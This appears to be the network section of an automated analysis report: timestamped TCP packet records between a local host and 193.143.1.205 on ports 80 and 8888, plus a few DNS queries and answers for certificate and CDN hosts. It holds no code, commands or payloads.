Jan 10, 2025 19:32:51.257438898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257451057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257463932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257477999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257489920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.257492065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257505894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257512093 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.257590055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257602930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257611036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.257618904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257632017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257643938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257658958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257663965 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.257663965 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.257685900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.257725954 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.257750988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.261229038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.268827915 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.277872086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.277887106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.277900934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.277983904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.277998924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.277998924 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.278037071 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.278065920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.278079987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.278095007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.278107882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.278122902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.278147936 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.278147936 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.278203964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.278219938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.278233051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.278259039 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.278259039 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.278347969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.278362036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.278377056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.278388023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.278397083 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.278461933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.291920900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.291934967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.291946888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.291987896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.292011023 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.293494940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.293510914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.293525934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.293545961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.293559074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.293602943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.293637991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.293642998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.293657064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.293670893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.293689966 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.293720961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.293734074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.293783903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.293783903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.293803930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.293818951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.293884039 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.307734013 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.308906078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.308928967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.308942080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.309040070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.309051991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.309063911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.309077024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.309086084 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.309086084 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.309168100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.330303907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.330321074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.330333948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.330374002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.330387115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.330398083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.330410004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.330429077 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.330429077 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.330491066 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.344728947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.345638037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.345678091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.345690966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.345741987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.345753908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.345766068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.345773935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.345782995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.345797062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.345809937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.345904112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.345923901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.345938921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.345952034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.345962048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.345976114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.346018076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346031904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346045971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346061945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.346061945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346085072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346101046 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.346113920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346126080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346127033 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.346163034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346164942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.346182108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346235037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346261978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.346266985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346280098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346291065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346311092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.346335888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.346373081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346385956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346399069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346412897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346426010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.346426964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346451044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.346483946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346497059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346529007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.346554041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346568108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346579075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346591949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346596956 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.346623898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.346626043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346640110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346649885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346672058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.346695900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.346713066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346726894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346738100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346750975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346765041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346769094 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.346786976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.346801043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346812963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346841097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.346955061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346966982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346978903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.346991062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.347016096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347022057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.347086906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347105980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347121000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347125053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.347134113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347167015 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.347548008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347559929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347573996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347593069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.347613096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347618103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.347628117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347641945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347666979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.347753048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347765923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347779036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347791910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347795010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.347806931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347821951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347825050 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.347855091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.347877979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347889900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347902060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347925901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.347940922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347948074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.347953081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347965956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.347994089 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.348032951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.348046064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.348057985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.348076105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.348104954 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.352241039 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.358364105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.368294954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.368309975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.368320942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.368340015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.368355036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.368367910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.368382931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.368401051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.368405104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.368416071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.368426085 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.368451118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.368459940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.368462086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.368499994 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.368515015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.368526936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.368536949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.368552923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.368572950 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.368597031 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.368611097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.368623972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.368665934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.382525921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.382544041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.382566929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.382577896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.382580996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.382599115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.382613897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.382625103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.382637024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.382649899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.382651091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.382662058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.382702112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.382829905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.384056091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.384079933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.384089947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.384126902 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.384141922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.384154081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.384198904 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.384226084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.384239912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.384268999 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.384378910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.384392023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.384501934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.399627924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.399653912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.399667978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.399674892 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.399709940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.399825096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.399837971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.399849892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.399862051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.399878979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.399916887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.420835018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.420871019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.420892000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.420913935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.420916080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.420922041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.420948029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.420958996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.420959949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.420974016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.420994997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.421015978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.426723957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.433589935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.439022064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439079046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439115047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439135075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439136028 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.439162970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439178944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439181089 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.439196110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439210892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439220905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.439224958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439249992 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.439307928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439327002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439338923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439357996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.439363003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439378023 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.439378977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439390898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439421892 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.439490080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439500093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439511061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439523935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439536095 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.439537048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439551115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439563036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.439582109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.439594984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.470242023 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.482080936 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.595562935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:52.018953085 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:52.023799896 CET	8888	49712	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:52.023899078 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:52.024065018 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:52.028871059 CET	8888	49712	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:52.815072060 CET	8888	49712	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:52.865602970 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:53.101548910 CET	49712	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:33:00.659919977 CET	56579	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:33:00.659919977 CET	192.168.2.6	1.1.1.1	0xaa2b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:33:00.667980909 CET	1.1.1.1	192.168.2.6	0xaa2b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:33:01.430053949 CET	1.1.1.1	192.168.2.6	0xa758	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:33:01.430053949 CET	1.1.1.1	192.168.2.6	0xa758	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:34:03.236915112 CET	1.1.1.1	192.168.2.6	0x655f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
